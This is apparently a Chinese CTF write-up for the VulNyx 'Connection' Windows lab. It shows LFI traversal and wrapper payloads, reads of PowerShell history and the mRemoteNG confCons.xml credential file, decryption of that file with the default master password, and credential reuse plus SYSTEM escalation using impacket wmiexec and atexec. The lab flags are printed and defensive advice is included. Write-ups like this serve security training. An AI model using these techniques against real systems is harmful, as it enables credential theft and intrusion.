跳到主要内容

VulNyx Connection:LFI 与 mRemoteNG 解密

靶机链接:Connection

本文记录 VulNyx Connection 靶机完整通关复现过程。核心突破口位于 Web 侧 page.php 的严格字符串白名单 LFI,通过 Windows 敏感路径字典命中控制台历史并定位 confCons.xml,利用默认主密码解出管理员凭据后立足系统,最终借助任务计划服务(atexec)提权至 NT AUTHORITY\SYSTEM 取得双 Flag。


0x01 基本信息与攻击流程

名称IP / 标识说明
Kali Linux192.168.1.109攻击机
Connection192.168.1.186 (Connection.lan)Windows Server 2019 Build 17763 靶机(XAMPP 8.2.12 + Everest 静态站)

靶机于 2026-09-16 重置后完成全链复测,文件大小、解密结果与初测一致。

攻击链摘要

阶段关键证据 / 操作作用
服务发现80/tcp Apache 2.4.58、445/tcp SMB、5985/tcp WinRM 等开放端口Web 为入口,SMB/WMI 为后续实测通道;WinRM 为候选通道
Web 测绘"Everest" 模板站,主要文件读取入口 page.php?section=发现可疑 include 型路由参数
白名单判定未命中的相对路径、大小写变体及已测试穿越载荷返回 403/0B实测呈现区分大小写的白名单特征,转向枚举预设绝对路径字面量
LFI 成立ctf-toolkit 字典命中 hosts (824B) 与 PowerShell 历史 (199B)验证白名单内敏感文件读取可行,并取得软件安装线索
凭据定位沿线索新增候选路径,读取 confCons.xml (3382B)获取 mRemoteNG 保存的远程连接加密凭据
口令解密默认主密码 mR3m + AES-256-GCM (AAD=salt)成功还原明文口令 TheConnectionPassword123
凭据复用SMB/WMI 登录 administrator 成功本地管理员立足
特权提升atexec 创建特权计划任务从 Administrator 执行上下文切换至 nt authority\system
最终成果读取管理员桌面 user.txtroot.txt取得两枚 Flag,完成通关
点击展开详细流程图 (Mermaid)

0x02 端口扫描与服务识别

1. 端口扫描

rustscan -a 192.168.1.186 --range 1-65535 --ulimit 5000 -- -sV -sC -Pn -oN rustscan_nmap.txt
nmap -Pn -sT -sV --unprivileged -p 53,80,135,139,445,5985,47001,49664-49670 192.168.1.186

开放端口清单:

端口服务版本 / 关键信息
53/tcpdomainUnbound 风格解析器,对 Connection.lan 权威
80/tcphttpApache httpd 2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
135/tcpmsrpcMicrosoft Windows RPC
139/tcpnetbios-ssnMicrosoft Windows NetBIOS-SSN
445/tcpmicrosoft-dssigning enabled but not required,SMBv1 已禁用
5985/tcpwsmanWinRM(Microsoft HTTPAPI/2.0)
47001/tcphttphttp.sys 空预留端点
49664-49670/tcpmsrpcRPC 动态端口(系统标准服务)

2. 主机指纹

nxc smb 192.168.1.186
# SMB 192.168.1.186 445 CONNECTION [*] Windows 10 / Server 2019 Build 17763 x64
# (name:CONNECTION) (domain:Connection) (signing:False) (SMBv1:None)

初步判断:

  1. 已测试的 SMB 空会话、guest 与 RPC 匿名调用均受限,本轮未从这些入口取得突破;
  2. 突破点集中在 80 端口的 XAMPP Web 应用;
  3. 发现 WinRM 服务;SMB 未强制签名。后续实际验证了 SMB 认证与 WMI 命令执行。

0x03 Web 测绘与白名单判定

1. 站点指纹

curl -s http://192.168.1.186/ | head -20
curl -s -I http://192.168.1.186/
HTTP/1.1 200 OK
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 19988

<title>Everest</title>

站点为 "Everest" 企业模板静态站,本轮在根目录发现两个 PHP 脚本:

  • contact.php:模板自带的邮件发送脚本(直接访问会报错泄露物理绝对路径 C:\xampp\htdocs);
  • page.php:导航栏所有链接均指向 page.php?section=xxx.html,表明其承担 include 路由功能。

2. 参数探测

curl -s --get --data-urlencode 'section=about.html' -w '%{http_code} %{size_download}\n' http://192.168.1.186/page.php
# 200 16951

curl -s --get --data-urlencode 'section=nope.html' -w '%{http_code} %{size_download}\n' http://192.168.1.186/page.php
# 403 0

合法页面返回与静态文件完全一致的内容;不存在的文件返回 403 且响应体为空。若不带参数访问,PHP 报错提示第 3 行存在未定义数组键 section

3. 白名单判定

本轮测试的常见路径与编码变体如下:

载荷类别示例结果
目录穿越../../windows/win.ini..\..\windows\win.ini403/0B
URL 编码..%2f%2e%2e%2f..%5c、双重编码403/0B
伪协议php://filter/...file:///data://403/0B
截断 / 追加about.html%00about.html/.about.html%20403/0B
大小写变体ABOUT.HTML(静态文件 /ABOUT.HTML 为 200)403/0B
子串 / 前缀xxabout.html/about.html./about.html403/0B
机制分析:实测现象与实现推断
  • 实测现象:不含任何 .. 的合法相对路径(如 nope.html)与目录穿越载荷同样返回 403/0B;且 Windows 文件系统虽大小写不敏感,但传参 section=ABOUT.HTML 同样返回 403(直接访问静态 /ABOUT.HTML 正常返回 200)。
  • 实现推断:上述差分表现证明服务端并非仅依靠过滤 .. 的黑名单正则,而是具备严格区分大小写的白名单校验特征(推断后端可能通过全等比对 ===、严格模式数组查找 in_array(..., true) 或哈希映射实现)。在尚未获取源码前无法直接断定具体语法操作符;本轮测试的路径穿越与编码变体均未命中,因此优先枚举白名单内候选路径。

4. 字典枚举策略

由于相对路径受限,测试转向 Windows 敏感绝对路径清单。采用 ctf-toolkit 的 payloads/lfi/lfi-windows.txt(包含系统文件、IIS、用户数据、XAMPP 配置等 27 条有效路径),按“字典基准测试 → 追踪命中线索”两步推进。


0x04 白名单 LFI 与凭据获取

1. 字典基准探测

使用配套脚本 lfi_wordlist_bench.py 对字典条目进行差分探测:

python3 lfi_wordlist_bench.py 'http://192.168.1.186/page.php?section=' \
/usr/share/ctf-toolkit/payloads/lfi/lfi-windows.txt
=== lfi-windows.txt (全量 27) ===
[200] C:\Windows\System32\drivers\etc\hosts 824 B
[200] C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 199 B
-> 200 命中 2 / 探测 27;耗时 0.2s
  • hosts(824 B)验证了绝对路径 LFI 成立;
  • ConsoleHost_history.txt(199 B)成功命中管理员的控制台命令历史,提供了关键凭据线索。

2. 凭据线索追踪

直接读取控制台命令历史:

curl -s --get --data-urlencode \
'section=C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt' \
http://192.168.1.186/page.php
whoami
ipconfig
cd C:\Users\Administrator\Desktop\
msiexec.exe /i ".\mRemoteNG-Installer-1.76.20.24615.msi"
Remove-Item ".\mRemoteNG-Installer-1.76.20.24615.msi" -Force
Restart-Computer -Force

管理员曾安装 mRemoteNG 1.76.20,删除安装包并重启了服务器。mRemoteNG 默认将连接配置存放在 %APPDATA%\mRemoteNG\confCons.xml。顺着该线索构造绝对路径并进行读取:

curl -s --get --data-urlencode \
'section=C:\Users\Administrator\AppData\Roaming\mRemoteNG\confCons.xml' \
http://192.168.1.186/page.php -o confCons.xml
# HTTP 200,3382 字节

成功拉取完整的 mRemoteNG 连接配置文件,获取到加密的远程凭据。


0x05 mRemoteNG 凭据解密

1. 数据结构分析

confCons.xml 声明了 FullFileEncryption="false",XML 结构及连接元数据可直接读取,PasswordProtected 属性值仍为加密数据。以下为关键字段摘录:

<mrng:Connections xmlns:mrng="http://mremoteng.org" EncryptionEngine="AES"
BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false"
Protected="8+5imhIdYe45P+0M7ZrbhQfqU59LAvYx8D0d9foESM8StKPKRijjw4nYCuRohN9jYo4Nwi6btLdfGudBN9vVt3o+"
ConfVersion="2.6">
<Node Name="administrator" Descr="WinRM" Username="administrator" Domain="connection.nyx"
Hostname="10.10.10.8" Protocol="IntApp" Port="5985" UseCredSsp="true"
Password="RUQ0nzfeIV11g9eDodO74bdInTIu3LE0OAn3P+tWkNKEoAJWViqGx1us4kMsy4JmmY37UlrxPREoaYlTT+JY4YCnTlogYypQ"/>
</mrng:Connections>

节点明确指向目标 10.10.10.8:5985(WinRM),用户为 connection.nyx\administrator。文件头指明了算法细节:AES-256-GCM、迭代 1000 次。

2. 解密参数与 AAD

Base64 解码后的密文字节布局如下:

项目取值
密文布局salt(16) ‖ nonce(16) ‖ ciphertext(N) ‖ tag(16)(本例 Password 为 24 B,Protected 为 18 B)
密钥派生PBKDF2-HMAC-SHA1(master, salt, 1000, dklen=32)
认证参数salt 必须作为 AAD(附加身份验证数据)参与 GCM 认证
主密码官方默认值 mR3m
常见翻车点

解密时若未将 salt 作为 AAD 传入,GCM 会因 Tag 校验失败抛出异常(本例附件使用的 PyCryptodome 抛出 ValueError: MAC check failed,cryptography 库抛出 InvalidTag),其报错形式与“主密码错误”相同,极易误判。

3. 主密码验证

文件中的 Protected 属性为加密哑值,若解出 ThisIsNotProtected 即代表使用了默认主密码 mR3m

运行解密脚本 mremoteng_decrypt.py(Python 3,依赖 pycryptodome;建议在虚拟环境中安装):

python3 mremoteng_decrypt.py -f confCons.xml
[root Protected] -> ThisIsNotProtected
[administrator] [email protected] host=10.10.10.8 password=TheConnectionPassword123

成功还原管理员口令:TheConnectionPassword123


0x06 凭据复用与特权提升

1. SMB 凭据复用

虽然配置保存的是 10.10.10.8,但目标主机名即为 CONNECTION,测试该口令在当前靶机上的复用情况:

python3 - <<'PY'
from impacket.smbconnection import SMBConnection
c = SMBConnection('192.168.1.186','192.168.1.186',timeout=25)
c.login('administrator','TheConnectionPassword123','')
print("共享列表:", [s['shi1_netname'].rstrip('\x00') for s in c.listShares()])
PY
# 共享列表: ['ADMIN$', 'C$', 'IPC$']

口令验证成功,成功以管理员身份通过 SMB 认证并枚举到 ADMIN$、C$ 与 IPC$ 等默认管理共享,证实凭据复用有效。

2. WMI 命令执行

impacket-wmiexec administrator:'TheConnectionPassword123'@192.168.1.186 "whoami"
# connection\administrator

取得本地管理员命令执行权限。

3. atexec 提升 SYSTEM

在已取得本地管理员凭据的基础上,利用任务计划接口以 SYSTEM 身份执行命令;此步骤展示管理员到 SYSTEM 的执行上下文切换,并非独立的低权限提权漏洞:

impacket-atexec administrator:'TheConnectionPassword123'@192.168.1.186 whoami
# nt authority\system

0x07 成果验证与 Flag

1. User Flag

  • 路径C:\Users\Administrator\Desktop\user.txt
  • 内容b9119ed110ad3219000910942d111af1

2. Root Flag

  • 路径C:\Users\Administrator\Desktop\root.txt
  • 内容6b74258c9e58df62317ed9ae6521637f
impacket-wmiexec administrator:'TheConnectionPassword123'@192.168.1.186 \
"type C:\Users\Administrator\Desktop\user.txt"
impacket-wmiexec administrator:'TheConnectionPassword123'@192.168.1.186 \
"type C:\Users\Administrator\Desktop\root.txt"

0x08 漏洞汇总与防御建议

1. 确认漏洞清单

漏洞项影响位置危险评级
白名单内敏感文件读取 (LFI)page.phpCritical
运维凭据与本地 Administrator 复用运维配置 → SMB/WMICritical
运维工具使用默认主密码mRemoteNG 配置High
控制台历史泄露敏感安装痕迹PowerShell 历史Medium

以上为结合本靶机利用链影响给出的定性评级,非正式 CVSS 评分。

2. 待验证配置风险

  • Web 服务默认高权限运行(待验证风险):Windows 环境下 XAMPP 默认安装的 Apache 服务常以 LocalSystem 身份运行。本次渗透测试通过 SMB 与 WMI 在操作系统层实现控制并利用计划任务提权,未直接探测或劫持 Apache 进程运行身份。该项作为潜在高危配置风险列出,建议运维人员核验并落实服务降权。

3. 核心加固建议

  1. 白名单坚持静态映射:仅接受预定义页面标识,通过固定映射(如 ['about' => 'about.html'])取得服务端文件路径,拒绝未知标识,不将用户输入直接拼接为文件路径。
  2. 强制设定强主密码:远程连接管理工具(mRemoteNG、FileZilla 等)禁止使用默认主密码,配置与凭据文件需严格管控访问权限。
  3. 切断跨主机口令复用:保存的远程主机口令严禁与本地 Administrator 口令相同,防止凭据泄露导致本机失守;推荐采用 LAPS 实现主机单机口令动态随机化。
  4. 控制台历史日志清理:针对生产运维环境配置命令历史生命周期策略,避免敏感安装包名称或维护命令长期驻留磁盘。
  5. 降权 Web 运行身份:为 Apache 配置独立低权限服务账户,仅授予必要的目录访问权限,并核验实际进程身份,避免以 SYSTEM 等特权身份运行。

0x09 附件下载

  • mremoteng_decrypt.py:mRemoteNG confCons.xml 口令解密脚本。从文件头自适应解析 KdfIterations/BlockCipherMode/FullFileEncryption,支持 AES-256-GCM 模式(默认主密码 mR3m)与旧版 CBC 格式,包含 Protected 哑值验证与退出码机制。
    • 运行依赖:Python 3,在虚拟环境中执行 python3 -m pip install pycryptodome
    • 运行示例python3 mremoteng_decrypt.py -f confCons.xml
  • lfi_wordlist_bench.py:Windows LFI 敏感路径字典评测脚本。对包含参数执行差分测试,统计白名单字面量命中情况。
    • 运行依赖:Python 3(仅使用标准库 urllib.request,无需第三方依赖)
    • 运行示例python3 lfi_wordlist_bench.py 'http://192.168.1.186/page.php?section=' /path/to/wordlist.txt
探测字典来源

0x04 节实际使用的 LFI 探测字典为 ctf-toolkit 的 payloads/lfi/lfi-windows.txt,GitHub 地址:cchopin/ctf-toolkit · payloads/lfi/lfi-windows.txt